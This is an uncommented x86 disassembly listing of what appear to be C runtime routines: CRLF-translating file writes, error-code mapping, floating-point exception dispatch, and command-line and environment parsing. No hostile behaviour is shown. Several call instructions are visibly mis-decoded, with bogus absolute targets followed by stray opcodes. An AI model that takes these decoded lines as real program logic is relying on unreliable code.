		push	edi
		jnb	loc_41C59E
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:46A780h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_41C59E
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_41C45B


loc_41C454:				; CODE XREF: sub_41C40A+177j
		xor	eax, eax
		jmp	loc_41C5B2
; ---------------------------------------------------------------------------


loc_41C45B:				; CODE XREF: sub_41C40A+48j
		test	al, 20h
		jz	short loc_41C46B
		push	2
		push	edi
		push	ecx
		call	sub_41BB5F
		add	esp, 0Ch


loc_41C46B:				; CODE XREF: sub_41C40A+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_41C53A
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_41C572


loc_41C48B:				; CODE XREF: sub_41C40A+F5j
		lea	eax, [ebp+var_414]


loc_41C491:				; CODE XREF: sub_41C40A+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41C4C5
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_41C4B0
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_41C4B0:				; CODE XREF: sub_41C40A+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_41C491


loc_41C4C5:				; CODE XREF: sub_41C40A+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 5785985Ah
		dec	esp
		test	eax, eax
		jz	short loc_41C52F
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_41C501
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_41C48B


loc_41C501:				; CODE XREF: sub_41C40A+EAj
					; sub_41C40A+12Ej
		xor	edi, edi


loc_41C503:				; CODE XREF: sub_41C40A+150j
					; sub_41C40A+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_41C599
		cmp	[ebp+arg_0], edi
		jz	short loc_41C572
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_41C567
		mov	ds:dword_469464, 9
		mov	ds:dword_469468, eax
		jmp	loc_41C5AF
; ---------------------------------------------------------------------------


loc_41C52F:				; CODE XREF: sub_41C40A+E0j
		call	ds:dword_421088
		mov	[ebp+arg_0], eax
		jmp	short loc_41C501
; ---------------------------------------------------------------------------


loc_41C53A:				; CODE XREF: sub_41C40A+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	near ptr 0FDBE3A1Ch
		xchg	eax, esi
		test	eax, eax
		jz	short loc_41C55C
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_41C503
; ---------------------------------------------------------------------------


loc_41C55C:				; CODE XREF: sub_41C40A+145j
		call	ds:dword_421088
		mov	[ebp+arg_0], eax
		jmp	short loc_41C503
; ---------------------------------------------------------------------------


loc_41C567:				; CODE XREF: sub_41C40A+10Fj
		push	[ebp+arg_0]
		call	sub_41C5B7
		pop	ecx
		jmp	short loc_41C5AF
; ---------------------------------------------------------------------------


loc_41C572:				; CODE XREF: sub_41C40A+7Bj
					; sub_41C40A+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41C587
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_41C454


loc_41C587:				; CODE XREF: sub_41C40A+16Fj
		mov	ds:dword_469464, 1Ch
		mov	ds:dword_469468, edi
		jmp	short loc_41C5AF
; ---------------------------------------------------------------------------


loc_41C599:				; CODE XREF: sub_41C40A+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_41C5B2
; ---------------------------------------------------------------------------


loc_41C59E:				; CODE XREF: sub_41C40A+15j
					; sub_41C40A+37j
		and	ds:dword_469468, 0
		mov	ds:dword_469464, 9


loc_41C5AF:				; CODE XREF: sub_41C40A+120j
					; sub_41C40A+166j ...
		or	eax, 0FFFFFFFFh


loc_41C5B2:				; CODE XREF: sub_41C40A+4Cj
					; sub_41C40A+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C40A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5B7	proc near		; CODE XREF: sub_4176E9+16p
					; sub_4178DC+1Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	ds:dword_469468, ecx
		mov	eax, offset dword_4381B0


loc_41C5C8:				; CODE XREF: sub_41C5B7+1Ej
		cmp	ecx, [eax]
		jz	short loc_41C5EC
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_438318
		jl	short loc_41C5C8
		cmp	ecx, 13h
		jb	short loc_41C5F9
		cmp	ecx, 24h
		ja	short loc_41C5F9
		mov	ds:dword_469464, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_41C5EC:				; CODE XREF: sub_41C5B7+13j
		mov	eax, ds:dword_4381B4[edx*8]
		mov	ds:dword_469464, eax
		retn
; ---------------------------------------------------------------------------


loc_41C5F9:				; CODE XREF: sub_41C5B7+23j
					; sub_41C5B7+28j
		cmp	ecx, 0BCh
		jb	short loc_41C613
		cmp	ecx, 0CAh
		mov	ds:dword_469464, 8
		jbe	short locret_41C61D


loc_41C613:				; CODE XREF: sub_41C5B7+48j
		mov	ds:dword_469464, 16h

locret_41C61D:				; CODE XREF: sub_41C5B7+5Aj
		retn
sub_41C5B7	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_41C75F
		test	eax, eax
		pop	ecx
		jz	loc_41C753
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_41C753
		cmp	ebx, 5
		jnz	short loc_41C64F
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_41C75C
; ---------------------------------------------------------------------------


loc_41C64F:				; CODE XREF: seg000:0041C641j
		cmp	ebx, 1
		jz	loc_41C74E
		mov	ecx, ds:dword_469514
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	ds:dword_469514, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_41C73E
		mov	ecx, ds:dword_438390
		mov	edx, ds:dword_438394
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_41C69E
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:438320h[esi*4]


loc_41C695:				; CODE XREF: seg000:0041C69Cj
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_41C695


loc_41C69E:				; CODE XREF: seg000:0041C687j
		mov	eax, [eax]
		mov	esi, ds:dword_43839C
		cmp	eax, 0C000008Eh
		jnz	short loc_41C6B9
		mov	ds:dword_43839C, 83h
		jmp	short loc_41C729
; ---------------------------------------------------------------------------


loc_41C6B9:				; CODE XREF: seg000:0041C6ABj
		cmp	eax, 0C0000090h
		jnz	short loc_41C6CC
		mov	ds:dword_43839C, 81h
		jmp	short loc_41C729
; ---------------------------------------------------------------------------


loc_41C6CC:				; CODE XREF: seg000:0041C6BEj
		cmp	eax, 0C0000091h
		jnz	short loc_41C6DF
		mov	ds:dword_43839C, 84h
		jmp	short loc_41C729
; ---------------------------------------------------------------------------


loc_41C6DF:				; CODE XREF: seg000:0041C6D1j
		cmp	eax, 0C0000093h
		jnz	short loc_41C6F2
		mov	ds:dword_43839C, 85h
		jmp	short loc_41C729
; ---------------------------------------------------------------------------


loc_41C6F2:				; CODE XREF: seg000:0041C6E4j
		cmp	eax, 0C000008Dh
		jnz	short loc_41C705
		mov	ds:dword_43839C, 82h
		jmp	short loc_41C729
; ---------------------------------------------------------------------------


loc_41C705:				; CODE XREF: seg000:0041C6F7j
		cmp	eax, 0C000008Fh
		jnz	short loc_41C718
		mov	ds:dword_43839C, 86h
		jmp	short loc_41C729
; ---------------------------------------------------------------------------


loc_41C718:				; CODE XREF: seg000:0041C70Aj
		cmp	eax, 0C0000092h
		jnz	short loc_41C729
		mov	ds:dword_43839C, 8Ah


loc_41C729:				; CODE XREF: seg000:0041C6B7j
					; seg000:0041C6CAj ...
		push	ds:dword_43839C
		push	8
		call	ebx
		pop	ecx
		mov	ds:dword_43839C, esi
		pop	ecx
		pop	esi
		jmp	short loc_41C746
; ---------------------------------------------------------------------------


loc_41C73E:				; CODE XREF: seg000:0041C670j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_41C746:				; CODE XREF: seg000:0041C73Cj
		mov	eax, [ebp+8]
		mov	ds:dword_469514, eax


loc_41C74E:				; CODE XREF: seg000:0041C652j
		or	eax, 0FFFFFFFFh
		jmp	short loc_41C75C
; ---------------------------------------------------------------------------


loc_41C753:				; CODE XREF: seg000:0041C62Dj
					; seg000:0041C638j
		push	dword ptr [ebp+0Ch]
		call	ds:dword_4211A0


loc_41C75C:				; CODE XREF: seg000:0041C64Aj
					; seg000:0041C751j
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41C75F	proc near		; CODE XREF: seg000:0041C625p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, ds:dword_438398
		cmp	ds:dword_438318, edx
		push	esi
		mov	eax, offset dword_438318
		jz	short loc_41C78C
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:438318h[esi*4]


loc_41C781:				; CODE XREF: sub_41C75F+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41C78C
		cmp	[eax], edx
		jnz	short loc_41C781


loc_41C78C:				; CODE XREF: sub_41C75F+16j
					; sub_41C75F+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:438318h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41C79F
		cmp	[eax], edx
		jz	short locret_41C7A1


loc_41C79F:				; CODE XREF: sub_41C75F+3Aj
		xor	eax, eax

locret_41C7A1:				; CODE XREF: sub_41C75F+3Ej
		retn
sub_41C75F	endp

; ---------------------------------------------------------------------------
		cmp	ds:dword_46AACC, 0
		jnz	short loc_41C7B0
		call	sub_41C364


loc_41C7B0:				; CODE XREF: seg000:0041C7A9j
		push	esi
		mov	esi, ds:dword_46AAC4
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41C7E2


loc_41C7BD:				; CODE XREF: seg000:0041C7D5j
					; seg000:0041C7D8j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_41C7DA
		test	al, al
		jz	short loc_41C7DA
		movzx	eax, al
		push	eax
		call	sub_41E68C
		test	eax, eax
		pop	ecx
		jz	short loc_41C7BD
		inc	esi
		jmp	short loc_41C7BD
; ---------------------------------------------------------------------------


loc_41C7DA:				; CODE XREF: seg000:0041C7C3j
					; seg000:0041C7C7j
		cmp	byte ptr [esi],	22h
		jnz	short loc_41C7EC


loc_41C7DF:				; CODE XREF: seg000:0041C7F4j
		inc	esi
		jmp	short loc_41C7EC
; ---------------------------------------------------------------------------


loc_41C7E2:				; CODE XREF: seg000:0041C7BBj
		cmp	al, 20h
		jbe	short loc_41C7EC


loc_41C7E6:				; CODE XREF: seg000:0041C7EAj
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41C7E6


loc_41C7EC:				; CODE XREF: seg000:0041C7DDj
					; seg000:0041C7E0j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_41C7F6
		cmp	al, 20h
		jbe	short loc_41C7DF


loc_41C7F6:				; CODE XREF: seg000:0041C7F0j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_46AACC, ebx
		push	esi
		push	edi
		jnz	short loc_41C80C
		call	sub_41C364


loc_41C80C:				; CODE XREF: seg000:0041C805j
		mov	esi, ds:dword_4694B0
		xor	edi, edi


loc_41C814:				; CODE XREF: seg000:0041C82Aj
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_41C82C
		cmp	al, 3Dh
		jz	short loc_41C81F
		inc	edi


loc_41C81F:				; CODE XREF: seg000:0041C81Cj
		push	esi
		call	sub_415CD0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_41C814
; ---------------------------------------------------------------------------


loc_41C82C:				; CODE XREF: seg000:0041C818j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_415DA9
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	ds:dword_46948C, esi
		jnz	short loc_41C84E
		push	9
		call	sub_417BCE
		pop	ecx


loc_41C84E:				; CODE XREF: seg000:0041C844j
		mov	edi, ds:dword_4694B0
		cmp	[edi], bl
		jz	short loc_41C891
		push	ebp


loc_41C859:				; CODE XREF: seg000:0041C88Ej
		push	edi
		call	sub_415CD0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_41C88A
		push	ebp
		call	sub_415DA9
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_41C87D
		push	9
		call	sub_417BCE
		pop	ecx


loc_41C87D:				; CODE XREF: seg000:0041C873j
		push	edi
		push	dword ptr [esi]
		call	sub_415BE0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_41C88A:				; CODE XREF: seg000:0041C866j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_41C859
		pop	ebp


loc_41C891:				; CODE XREF: seg000:0041C856j
		push	ds:dword_4694B0
		call	sub_415E1D
		pop	ecx
		mov	ds:dword_4694B0, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	ds:dword_46AAC8, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_46AACC, ebx
		push	esi
		push	edi
		jnz	short loc_41C8CA
		call	sub_41C364


loc_41C8CA:				; CODE XREF: seg000:0041C8C3j
		mov	esi, offset dword_469518
		push	104h
		push	esi
		push	ebx
		call	near ptr 0D3694C7h
		fisub	dword ptr [ecx+46AAC4h]
		mov	ds:dword_46949C, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_41C8EF
		mov	edi, eax


loc_41C8EF:				; CODE XREF: seg000:0041C8EBj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_41C94C
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_415DA9
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_41C91F
		push	8
		call	sub_417BCE
		pop	ecx


loc_41C91F:				; CODE XREF: seg000:0041C915j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_41C94C
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	ds:dword_469484, esi
		pop	edi
		pop	esi
		mov	ds:dword_469480, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C94C	proc near		; CODE XREF: seg000:0041C8FAp
					; seg000:0041C930p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_41C976
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41C976:				; CODE XREF: sub_41C94C+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41C9BF


loc_41C97B:				; CODE XREF: sub_41C94C+58j
					; sub_41C94C+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_41C9AD
		test	dl, dl
		jz	short loc_41C9AD
		movzx	edx, dl
		test	ds:byte_46A9A1[edx], 4
		jz	short loc_41C9A0
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41C9A0
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_41C9A0:				; CODE XREF: sub_41C94C+46j
					; sub_41C94C+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41C97B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41C97B
; ---------------------------------------------------------------------------


loc_41C9AD:				; CODE XREF: sub_41C94C+36j
					; sub_41C94C+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41C9B7
		and	byte ptr [esi],	0
		inc	esi


loc_41C9B7:				; CODE XREF: sub_41C94C+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41CA02
		inc	eax
		jmp	short loc_41CA02
; ---------------------------------------------------------------------------


loc_41C9BF:				; CODE XREF: sub_41C94C+2Dj
					; sub_41C94C+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41C9CA
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_41C9CA:				; CODE XREF: sub_41C94C+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	ds:byte_46A9A1[ebx], 4
		jz	short loc_41C9E5
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41C9E4
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_41C9E4:				; CODE XREF: sub_41C94C+91j
		inc	eax


loc_41C9E5:				; CODE XREF: sub_41C94C+8Bj
		cmp	dl, 20h
		jz	short loc_41C9F3
		test	dl, dl
		jz	short loc_41C9F7
		cmp	dl, 9
		jnz	short loc_41C9BF


loc_41C9F3:				; CODE XREF: sub_41C94C+9Cj
		test	dl, dl
		jnz	short loc_41C9FA


loc_41C9F7:				; CODE XREF: sub_41C94C+A0j
		dec	eax
		jmp	short loc_41CA02
; ---------------------------------------------------------------------------


loc_41C9FA:				; CODE XREF: sub_41C94C+A9j
		test	esi, esi
		jz	short loc_41CA02
		and	byte ptr [esi-1], 0


loc_41CA02:				; CODE XREF: sub_41C94C+6Ej
					; sub_41C94C+71j ...
		and	[ebp+arg_10], 0


loc_41CA06:				; CODE XREF: sub_41C94C+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_41CAEF


loc_41CA0F:				; CODE XREF: sub_41C94C+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_41CA1B
		cmp	dl, 9
		jnz	short loc_41CA1E


loc_41CA1B:				; CODE XREF: sub_41C94C+C8j
		inc	eax
		jmp	short loc_41CA0F
; ---------------------------------------------------------------------------


loc_41CA1E:				; CODE XREF: sub_41C94C+CDj
		cmp	byte ptr [eax],	0
		jz	loc_41CAEF
		test	edi, edi
		jz	short loc_41CA33
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41CA33:				; CODE XREF: sub_41C94C+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_41CA38:				; CODE XREF: sub_41C94C+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_41CA41:				; CODE XREF: sub_41C94C+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_41CA4A
		inc	eax
		inc	ebx
		jmp	short loc_41CA41
; ---------------------------------------------------------------------------


loc_41CA4A:				; CODE XREF: sub_41C94C+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41CA7B
		test	bl, 1
		jnz	short loc_41CA79
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_41CA68
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_41CA68
		mov	eax, edx
		jmp	short loc_41CA6B
; ---------------------------------------------------------------------------


loc_41CA68:				; CODE XREF: sub_41C94C+10Dj
					; sub_41C94C+116j
		mov	[ebp+arg_0], edi


loc_41CA6B:				; CODE XREF: sub_41C94C+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_41CA79:				; CODE XREF: sub_41C94C+106j
		shr	ebx, 1


loc_41CA7B:				; CODE XREF: sub_41C94C+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_41CA90
		inc	ebx


loc_41CA83:				; CODE XREF: sub_41C94C+142j
		test	esi, esi
		jz	short loc_41CA8B
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_41CA8B:				; CODE XREF: sub_41C94C+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_41CA83


loc_41CA90:				; CODE XREF: sub_41C94C+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_41CAE0
		cmp	[ebp+arg_10], 0
		jnz	short loc_41CAA6
		cmp	dl, 20h
		jz	short loc_41CAE0
		cmp	dl, 9
		jz	short loc_41CAE0


loc_41CAA6:				; CODE XREF: sub_41C94C+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_41CADA
		test	esi, esi
		jz	short loc_41CAC9
		movzx	ebx, dl
		test	ds:byte_46A9A1[ebx], 4
		jz	short loc_41CAC2
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_41CAC2:				; CODE XREF: sub_41C94C+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41CAD8
; ---------------------------------------------------------------------------


loc_41CAC9:				; CODE XREF: sub_41C94C+162j
		movzx	edx, dl
		test	ds:byte_46A9A1[edx], 4
		jz	short loc_41CAD8
		inc	eax
		inc	dword ptr [ecx]


loc_41CAD8:				; CODE XREF: sub_41C94C+17Bj
					; sub_41C94C+187j
		inc	dword ptr [ecx]


loc_41CADA:				; CODE XREF: sub_41C94C+15Ej
		inc	eax
		jmp	loc_41CA38
; ---------------------------------------------------------------------------


loc_41CAE0:				; CODE XREF: sub_41C94C+148j
					; sub_41C94C+153j ...
		test	esi, esi
		jz	short loc_41CAE8
		and	byte ptr [esi],	0
		inc	esi


loc_41CAE8:				; CODE XREF: sub_41C94C+196j
		inc	dword ptr [ecx]
		jmp	loc_41CA06
; ---------------------------------------------------------------------------


loc_41CAEF:				; CODE XREF: sub_41C94C+BDj
					; sub_41C94C+D5j
		test	edi, edi
		jz	short loc_41CAF6
		and	dword ptr [edi], 0


loc_41CAF6:				; CODE XREF: sub_41C94C+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41C94C	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, ds:dword_46961C
		push	ebx
		push	ebp
		mov	ebp, ds:dword_42103C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_41CB4E
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41CB2F
		mov	ds:dword_46961C, 1
		jmp	short loc_41CB57
; ---------------------------------------------------------------------------


loc_41CB2F:				; CODE XREF: seg000:0041CB21j
		call	ds:dword_421040
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41CC29
		mov	ds:dword_46961C, 2
		jmp	loc_41CBDD
; ---------------------------------------------------------------------------


loc_41CB4E:				; CODE XREF: seg000:0041CB19j
		cmp	eax, 1
		jnz	loc_41CBD8


loc_41CB57:				; CODE XREF: seg000:0041CB2Dj
		cmp	esi, ebx
		jnz	short loc_41CB67
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_41CC29


loc_41CB67:				; CODE XREF: seg000:0041CB59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_41CB7C


loc_41CB6E:				; CODE XREF: seg000:0041CB73j
					; seg000:0041CB7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41CB6E
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41CB6E


loc_41CB7C:				; CODE XREF: seg000:0041CB6Cj
		sub	eax, esi
		mov	edi, ds:dword_421138
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41CBCD
		push	ebp
		call	sub_415DA9
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_41CBCD
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h] ; CODE XREF: seg000:0041CC24j
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_41CBC9
		push	dword ptr [esp+10h]
		call	sub_415E1D
		pop	ecx
		mov	[esp+10h], ebx


loc_41CBC9:				; CODE XREF: seg000:0041CBB9j
		mov	ebx, [esp+10h]


loc_41CBCD:				; CODE XREF: seg000:0041CB99j
					; seg000:0041CBA8j
		push	esi
		call	ds:dword_421044
		mov	eax, ebx
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CBD8:				; CODE XREF: seg000:0041CB51j
		cmp	eax, 2
		jnz	short loc_41CC29


loc_41CBDD:				; CODE XREF: seg000:0041CB49j
		cmp	edi, ebx
		jnz	short loc_41CBED
		call	ds:dword_421040
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41CC29


loc_41CBED:				; CODE XREF: seg000:0041CBDFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_41CBFD


loc_41CBF3:				; CODE XREF: seg000:0041CBF6j
					; seg000:0041CBFBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41CBF3
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41CBF3


loc_41CBFD:				; CODE XREF: seg000:0041CBF1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_415DA9
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_41CC13
		xor	esi, esi
		jmp	short loc_41CC1E
; ---------------------------------------------------------------------------


loc_41CC13:				; CODE XREF: seg000:0041CC0Dj
		push	ebp
		push	edi
		push	esi
		call	sub_4155B0
		add	esp, 0Ch


loc_41CC1E:				; CODE XREF: seg000:0041CC11j
		push	edi
		call	near ptr 407C12C6h
		jbe	short near ptr loc_41CBAE+3
		mov	bl, 2


loc_41CC29:				; CODE XREF: seg000:0041CB39j
					; seg000:0041CB61j ...
		xor	eax, eax


loc_41CC2B:				; CODE XREF: seg000:0041CBD6j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41CC32:				; CODE XREF: seg000:00417B47p
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_415DA9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_41CC52
		push	1Bh
		call	sub_417BCE
		pop	ecx


loc_41CC52:				; CODE XREF: seg000:0041CC48j
		mov	ds:dword_46A780, esi
		mov	ds:dword_46A880, 20h
		lea	eax, [esi+100h]


loc_41CC68:				; CODE XREF: seg000:0041CC84j
		cmp	esi, eax
		jnb	short loc_41CC86
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, ds:dword_46A780
		add	esi, 8
		add	eax, 100h
		jmp	short loc_41CC68
; ---------------------------------------------------------------------------


loc_41CC86:				; CODE XREF: seg000:0041CC6Aj
		lea	eax, [esp+10h]
		push	eax
		call	near ptr 9DEBF916h
		pop	ecx
		cmp	word ptr [esp+42h], 0
		jz	loc_41CD62
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_41CD62
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_41CCBC
		mov	esi, eax


loc_41CCBC:				; CODE XREF: seg000:0041CCB8j
		cmp	ds:dword_46A880, esi
		jge	short loc_41CD16
		mov	edi, offset dword_46A784


loc_41CCC9:				; CODE XREF: seg000:0041CD0Cj
		push	100h
		call	sub_415DA9
		test	eax, eax
		pop	ecx
		jz	short loc_41CD10
		add	ds:dword_46A880, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_41CCE7:				; CODE XREF: seg000:0041CD01j
		cmp	eax, ecx
		jnb	short loc_41CD03
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_41CCE7
